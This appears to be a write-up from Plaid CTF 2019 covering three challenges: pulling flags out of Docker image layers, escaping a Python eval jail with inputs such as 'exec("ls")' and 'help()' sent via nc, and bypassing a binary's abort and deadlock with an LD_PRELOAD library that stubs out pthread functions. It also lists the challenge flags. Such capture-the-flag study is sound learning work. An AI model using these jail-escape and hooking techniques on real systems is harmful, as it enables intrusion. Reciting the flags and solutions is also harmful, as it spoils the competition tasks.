Mathis Raguin && Brendan Harley
May 14, 2019
whowouldeverguessthis/public
-> Docker image
Let’s look at the layers !
IMAGE CREATED CREATED BY
e8627890ed 4 weeks ago /bin/sh -c echo "I'm sorry, but your princess is in another castle" > /flag
01f39eb658 4 weeks ago /bin/sh -c echo "PCTF{well_it_isnt_many_points_what_did_you_expect}" > /flag
9f66289091 3 months ago /bin/sh -c #(nop) CMD ["bash"]
43adbe5e10 3 months ago /bin/sh -c #(nop) ADD file in /
#! /usr/bin/env python3
from sys import exit
from secret import secret_value_for_password, flag, exec
print(r"")
print(r"")
print(r" ____ __ __ ____ __ __ ")
print(r" / ___|__ _ _ _\ \ / /__ _ _ / ___|_ _ ___ ___ ___| \/ | ___ ")
print(r"| | / _` | '_ \ V / _ \| | | | | _| | | |/ _ \/ __/ __| |\/| |/ _ \ ")
print(r"| |__| (_| | | | | | (_) | |_| | |_| | |_| | __/\__ \__ \ | | | __/ ")
print(r" \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_| |_|\___| ")
print(r" ")
print(r"")
print(r"")
try:
val = 0
inp = input("Input value: ")
count_digits = len(set(inp))
if count_digits <= 10: # Make sure it is a number
val = eval(inp)
else:
raise
if val == secret_value_for_password:
print(flag)
else:
print("Nope. Better luck next time.")
except:
print("Nope. No hacking.")
exit(1)
$ cat payload
exec("ls")
$ cat payload | nc canyouguessme.pwni.ng 12349
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@ @@@@@@@@@@@@@ @@@@@@@@@ %@@@@@@@@@ @@@@@@@@@@@@@@@@
@@@@@@@@@@@@ @@@@@@@@@@ @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@
@@@@@@@@@@% @@@@@@@@ @@@, @@@@@@@@@@@@@@@@@@@@@@@@@@@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@@@@@@ @@@@@ @@@& @@@@@
@@@@@@@@@/ @@@@@@@@@@@@ @@@@ @@@@@@@@@ @@@@, & @@@@@ @@@@@
@@@@@@@@@@@ @@@@@@@@@@@@@ @@@@@@@@@@ @@@@@@% @@@@ @@* ,@ @@@@@@ @@@@@
@@@@@@@@@@@@@ @@@ @@@@ @@@@@@ @@@@ @@@@@@ @@@ ,@@ @@@@@@@@ @@@@@
@@@@@@@@@@@@@@@@ %@@@ @@@@ @@@@@@@@@@ .@@@@@@@@@@@@@@ @@@@@
@@@@@@@@@@@@@@@@@@@ @@@@ *@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@ @@@@@
@@@@@@@@@@@@@@@@@@@@@@@ .@@@@@ %@@@@ /@@@@@@@@@@@@@@@@@@@ @@@@@@.@@@@ @@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@@@@@@/ @@@@@@@@@@@@@@@@@@@@@. @@@@@@ @@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ @@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Nope. No hacking.
$ nc canyouguessme.pwni.ng 12349
____ __ __ ____ __ __
/ ___|__ _ _ _\ \ / /__ _ _ / ___|_ _ ___ ___ ___| \/ | ___
| | / _` | '_ \ V / _ \| | | | | _| | | |/ _ \/ __/ __| |\/| |/ _ \
| |__| (_| | | | | | (_) | |_| | |_| | |_| | __/\__ \__ \ | | | __/
\____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_| |_|\___|
Input value: help()
Welcome to Python 3.6's help utility!
If this is your first time using Python, you should definitely check out
the tutorial on the Internet at https://docs.python.org/3.6/tutorial/.
Enter the name of any module, keyword, or topic to get help on writing
Python programs and using Python modules. To quit this help utility and
return to the interpreter, just type "quit".
To get a list of available modules, keywords, symbols, or topics, type
"modules", "keywords", "symbols", or "topics". Each module also comes
with a one-line summary of what it does; to list the modules whose name
or summary contain a given string such as "spam", type "modules spam".
help>
help> secret
Help on module secret:
NAME
secret
FUNCTIONS
exec(*args, **kwargs)
exit(...)
exit([status])
Exit the interpreter by raising SystemExit(status).
If the status is omitted or None, it defaults to zero (i.e., success).
If the status is an integer, it will be used as the system exit status.
If it is another kind of object, it will be printed and the system
exit status will be one (i.e., failure).
DATA
flag = 'PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}'
secret_value_for_password = 'not even a number; this is a damn string;...
trollface = '\n@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@...@@@@@...
FILE
/home/guessme/secret.py
“Please guess a number”
Is there an easier way ?
$ ./pppiii-b73804b431586f8ecd4a0e8c0daf3ba6
Alphabetical it is, I guess.
Simulating the dinner...
cai: Thank you guys all for helping out.
Great job on another Plaid CTF well done!
strikeskids: *grabs the samosas*
zwad3: Guys, can you please be careful to not get any
gluten in the food?
[...]
ryan: *grabs the samosa chaat*
Aborted (core dumped)
$ LD_PRELOAD=./abort.so ./pppiii
Simulating the dinner...
cai: Thank you guys all for helping out. Great job on another Plaid CTF well done!
strikeskids: I got someone to figure out our seating arrangement for us. Hopefully you're
seated near to dishes you like.
strikeskids: *grabs the samosas*
zwad3: Guys, can you please be careful to not get any gluten in the food?
[...]
erye: *puts the pakoras back*
[...........DEADLOCK]
$ strace -ff -yy -E LD_PRELOAD=./lol.so ./pppiii
execve("./pppiii", ["./pppiii"...], 0x558d008ce490) = 0
[...]
[pid 11391] futex(0x56527faa4210, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>
[pid 11393] futex(0x56527faa4190, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>
[pid 11387] futex(0x56527faa41d0, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>
[pid 11392] futex(0x56527faa4210, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>
#include <pthread.h>
#include <time.h>
int abort() {
printf("[+] Nabort\n");
return 0;
}
int nanosleep(const struct timespec *rqtp, struct timespec *rmtp) {
return 0;
}
int pthread_mutex_lock(pthread_mutex_t *mutex) {
printf("[+] Nalock\n");
return 0;
}
int pthread_mutex_trylock(pthread_mutex_t *mutex) {
return 0;
}
int pthread_mutex_unlock(pthread_mutex_t *mutex) {
printf("[+] Nunlock\n");
return 0;
}
$ strace -ff -yy -E LD_PRELOAD=./abort.so ./pppiii
execve("./pppiii", ["./pppiii"...], 0x558d008ce490) = 0
[...]
Anyway, we brought you guys a gift.
bluepichu: It's a flag!
strikeskids: Let me take a look. It seems to say
PCTF{1 l1v3 1n th3 1nt3rs3ct1on of CSP and s3cur1ty and parti3s!}.
strikeskids: Hopefully that's useful to someone.
exit_group(0) = ?